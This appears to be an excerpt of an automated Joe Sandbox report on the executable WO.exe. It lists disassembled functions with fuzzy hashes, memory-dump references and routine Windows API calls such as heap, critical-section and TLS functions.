Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction ID: 08829170a8ee5f1b49cfdf050f6537c1ef42b3a6330418e8cb94bb4851fba9f1
Opcode Fuzzy Hash: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction Fuzzy Hash: 6D3171B261064182FB62CF22F5487A977A1F75CBE9F484215FB6947AF9CB79C844CB00

Function 00000001400110DC Relevance: 9.1, APIs: 6, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140011112
HeapAlloc.KERNEL32 ref: 000000014001112D
TlsSetValue.KERNEL32 ref: 000000014001113C
TlsGetValue.KERNEL32 ref: 000000014001115F
HeapReAlloc.KERNEL32 ref: 000000014001117B
TlsSetValue.KERNEL32 ref: 000000014001118D

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocValue$Heap
String ID:
API String ID: 2472784365-0
Opcode ID: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction ID: 773301f083ee798336704ec3d5312664b9b868eef9dc2a5d6ba13fea1fa7b4fd
Opcode Fuzzy Hash: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction Fuzzy Hash: 3821F434200B8096EB4A9B92F8843E963A5F7DCBD0F548429FB4D47B79DE3DC8858740

Function 0000000140007284 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00000001400072B3
EnterCriticalSection.KERNEL32 ref: 00000001400072CC
WaitForSingleObject.KERNEL32 ref: 00000001400072E4
CloseHandle.KERNEL32 ref: 00000001400072F1
LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterHandleLeaveObjectSingleThreadWait
String ID:
API String ID: 458812214-0
Opcode ID: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction ID: 6ed0f769cbd5916c92599595d34faf5ec2fc13e913d525d246d608b89e2aac48
Opcode Fuzzy Hash: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction Fuzzy Hash: FD210076204B0081EB06DB22E8943E973A4FB8CBC4F988026EB4D47779DF39C946C340

Function 0000000140011968 Relevance: 7.6, APIs: 5, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011985
LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7

DeleteCriticalSection.KERNEL32 ref: 0000000140011A0B
HeapFree.KERNEL32 ref: 0000000140011A1D

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction ID: 030e86aa03d9d600b90796447865b7023312810cb66964dcc71f9bcfbca43c2c
Opcode Fuzzy Hash: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction Fuzzy Hash: 4721E735201B4485EB4ADB57E5903E823A4F78CBC4F444115AB5E0B7B6CF3AC4A5C340

Function 00000001400117FC Relevance: 6.3, APIs: 5, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011855
HeapAlloc.KERNEL32 ref: 0000000140011890
LeaveCriticalSection.KERNEL32 ref: 00000001400118FB
HeapAlloc.KERNEL32 ref: 0000000140011910
InitializeCriticalSection.KERNEL32 ref: 0000000140011952

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$AllocHeap$EnterInitializeLeave
String ID:
API String ID: 2544007295-0
Opcode ID: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction ID: 3c708bd0e8d6be70d523372ffb5b6a2e3cd9d0d7dbc1ea7b56162c86fa93b61b
Opcode Fuzzy Hash: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction Fuzzy Hash: 5E413932605B8086EB5ADF56E4403E877A4F79CBD0F54812AEB4D4BBA5DF39C8A5C700

Function 000000014000E824 Relevance: 6.3, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000E9C7
memset.MSVCRT ref: 000000014000E9D5
memset.MSVCRT ref: 000000014000E9E2
memset.MSVCRT ref: 000000014000E9F1
memset.MSVCRT ref: 000000014000E9FF

Part of subcall function 000000014000FEE4: memmove.MSVCRT ref: 000000014000FF5C

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: memset$memmove
String ID:
API String ID: 3527438329-0
Opcode ID: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction ID: dba297aa8fb042b18ff0822facc25e4acf5e394d44c3b4579297ae20e1131b5c
Opcode Fuzzy Hash: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction Fuzzy Hash: E231007271064081FB16DA2BE4507E96612E38DBD0F848126EB1A83BAACA7EC502C740

Function 00000001400130CB Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130EB
, xrefs: 00000001400130CB

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $ $header crc mismatch
API String ID: 0-4092041874
Opcode ID: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction ID: f6894c87bdfd3a48e6411c52319aba3e102a5ca19e93322268f312efd41433f4
Opcode Fuzzy Hash: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction Fuzzy Hash: 41A18FB26003508BFB269E1AC48C7AE3BE6F7587C8F064558EB964B3A4D776C954C780

Function 0000000140007A50 Relevance: 6.2, APIs: 4, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 0000000140007B33
wcsncpy.MSVCRT ref: 0000000140007B9F
wcsncpy.MSVCRT ref: 0000000140007BF9
HeapFree.KERNEL32 ref: 0000000140007C15

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Heapwcsncpy$AllocFree
String ID:
API String ID: 1479455602-0
Opcode ID: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction ID: 28fd82db213d89e843f0df720333d3fbeca218ccf85cb71e10007619eb34b75b
Opcode Fuzzy Hash: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction Fuzzy Hash: BF51A0B2B0068486EA66DF26A404BEA67E1F789BD4F588125EF4D477E5EB3CC542C300

Function 00000001400136B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000014001375C

Strings

, xrefs: 00000001400136BA
, xrefs: 00000001400136DB
invalid stored block lengths, xrefs: 00000001400136F0

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: memmove
String ID: $ $invalid stored block lengths
API String ID: 2162964266-1718185709
Opcode ID: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction ID: 754f218cd566fbce8dd602483dcb0b6cf2df6dd41c0e80f26ad42ee7a9f80f3a
Opcode Fuzzy Hash: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction Fuzzy Hash: 3A417B766006508BE7268F27D5887AE3BA0F3087C8F155119FF8A4BBA4C776D8A1CB40

Function 000000014000C4F0 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5A6
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5E1
RtlVirtualUnwind.KERNEL32 ref: 000000014000C64C
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C672

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: EntryFunctionLookup$UnwindVirtual
String ID:
API String ID: 3286588846-0
Opcode ID: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction ID: 3ebace1c390976f506d0f99ca18ed721a427f0b26ede3763bfd5663c46823d1b
Opcode Fuzzy Hash: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction Fuzzy Hash: 48512E66A15FC481EA61CB29E5453ED63A0FB9DB84F09A215DF8C13756EF34D2D4C700

Function 00000001400085F0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

CharLowerW.USER32 ref: 000000014000861A
CharLowerW.USER32 ref: 000000014000864F
CharLowerW.USER32 ref: 000000014000867D
CharLowerW.USER32 ref: 0000000140008688

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction ID: 89447f37e157e5f910190f26039f07b44efb98263a832e051549732566d91b47
Opcode Fuzzy Hash: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction Fuzzy Hash: BB2181766006A092EA66EF13A8047BA76A0F748BF5F5A4211FFD5072E0DB35C495D710

Function 00000001400171F0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014001724E
malloc.MSVCRT ref: 0000000140017260
WideCharToMultiByte.KERNEL32 ref: 000000014001728B
malloc.MSVCRT ref: 00000001400172A2

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction ID: 84a502ef329111f45b75735ee98b05bbb8abde518fb530cc481733cdeaf2302d
Opcode Fuzzy Hash: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction Fuzzy Hash: 76216532608B8086D725CF56B44079AB7A5F7887D4F088325FF9917BA9DF3DC5529700

Function 000000014000DCA4 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderLocation.SHELL32 ref: 000000014000DCCD
SHGetPathFromIDListW.SHELL32 ref: 000000014000DCDF
wcslen.MSVCRT ref: 000000014000DCEC
CoTaskMemFree.OLE32 ref: 000000014000DD0F

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: FolderFreeFromListLocationPathTaskwcslen
String ID:
API String ID: 4012708801-0
Opcode ID: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction ID: 658b845125df41e3d707b834e255611bbe4f6e958313e82604e3ea1cd6ed1d71
Opcode Fuzzy Hash: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction Fuzzy Hash: 50016972314A5092E7219B26A5807AAA3B4FB88BC0F548026EB4987774DF3AC8528300

Function 000000014001147C Relevance: 5.1, APIs: 4, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001149E
HeapAlloc.KERNEL32 ref: 0000000140011573
HeapAlloc.KERNEL32 ref: 0000000140011597
LeaveCriticalSection.KERNEL32 ref: 0000000140011600

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction ID: a4d5f086a96e389f2db612197d0023b8b07f868559dabceebcf4944cd54701ff
Opcode Fuzzy Hash: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction Fuzzy Hash: 47513A72601B44C7EB5ACF26E18039873A5F78CF88F188526EB4E4B766DB35D4A1C750

Function 000000014000D02C Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 000000014000D0B1
HeapAlloc.KERNEL32 ref: 000000014000D0C7
wcscpy.MSVCRT ref: 000000014000D0D7
memset.MSVCRT ref: 000000014000D111

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapmemsetwcscpywcslen
String ID:
API String ID: 1807340688-0
Opcode ID: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction ID: 2291175711b854bc4f74fb4265d0f1bd771c1a5bff4f4550b8324bf1b1149364
Opcode Fuzzy Hash: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction Fuzzy Hash: DA3129B1605B4081EB16EF27A5443ECB7A1EB8CFD4F588126AF4D0B7AADF39C4518351

Function 000000014000CCD8 Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE61
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE74
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE8F
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CEB1

HeapAlloc.KERNEL32 ref: 000000014000CD11
HeapAlloc.KERNEL32 ref: 000000014000CD42
HeapAlloc.KERNEL32 ref: 000000014000CDB2
HeapFree.KERNEL32 ref: 000000014000CDD8

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Heap$Free$Alloc
String ID:
API String ID: 3901518246-0
Opcode ID: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction ID: 7f7b652e9f7b58be947c1c734e7a82da3d99598ff0fb71c13e03353473737a2d
Opcode Fuzzy Hash: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction Fuzzy Hash: 063142B2211B409BE702DF13EA807A937A4F78CBD0F448429EB4847B65DF79E4A6C740

Function 00000001400112A8 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400112C4
HeapReAlloc.KERNEL32 ref: 0000000140011308
LeaveCriticalSection.KERNEL32 ref: 0000000140011355

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction ID: 37e1212d5150fef44f5374ae18cee5b2af0a62904f946070966fd9e2c84ce28f
Opcode Fuzzy Hash: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction Fuzzy Hash: 7B210872615B4482EB198F66E5403EC6361F78CFD4F548612EB6E4B7AACF38C552C350

Function 0000000140017120 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 0000000140017161
malloc.MSVCRT ref: 000000014001717B
MultiByteToWideChar.KERNEL32 ref: 0000000140017196
malloc.MSVCRT ref: 00000001400171B3

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction ID: 61c3440d716b3c64d08436ee48054615140ae5ecb8d8084460387f48d4e9dd56
Opcode Fuzzy Hash: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction Fuzzy Hash: BB11C13260878082EB25CF26B41076AB7A4FB89BE4F140328EF9D57BE5DF39C0118704

Function 0000000140011668 Relevance: 5.0, APIs: 4, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001167F
HeapFree.KERNEL32 ref: 000000014001169A
HeapFree.KERNEL32 ref: 00000001400116BC
LeaveCriticalSection.KERNEL32 ref: 00000001400116E2

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction ID: 5186432533761a1e63310800083548d259c5d54e134ea9fda60ce401f62d664d
Opcode Fuzzy Hash: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction Fuzzy Hash: 76114C76600B4082EB5A9F53E5943E823A0FB9CBC5F4C8416EB091B6A7DF3AC4A5C300

Function 000000014000CE30 Relevance: 5.0, APIs: 4, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000D140: memset.MSVCRT ref: 000000014000D1C3

Part of subcall function 0000000140011968: EnterCriticalSection.KERNEL32 ref: 0000000140011985
Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7
Part of subcall function 0000000140011968: LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

HeapFree.KERNEL32 ref: 000000014000CE61
HeapFree.KERNEL32 ref: 000000014000CE74
HeapFree.KERNEL32 ref: 000000014000CE8F
HeapFree.KERNEL32 ref: 000000014000CEB1

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction ID: bd40ed23f28c7418c8be6727045953eb2e8c2f29468db0d1e18b21a18f306043
Opcode Fuzzy Hash: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction Fuzzy Hash: FD01C8B5600B8492EB06EB63E9903E923A1FBCDBD0F488416AF0D1B776CF39D4518740

Analysis Process: WO.exePID: 6100, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	14.1%
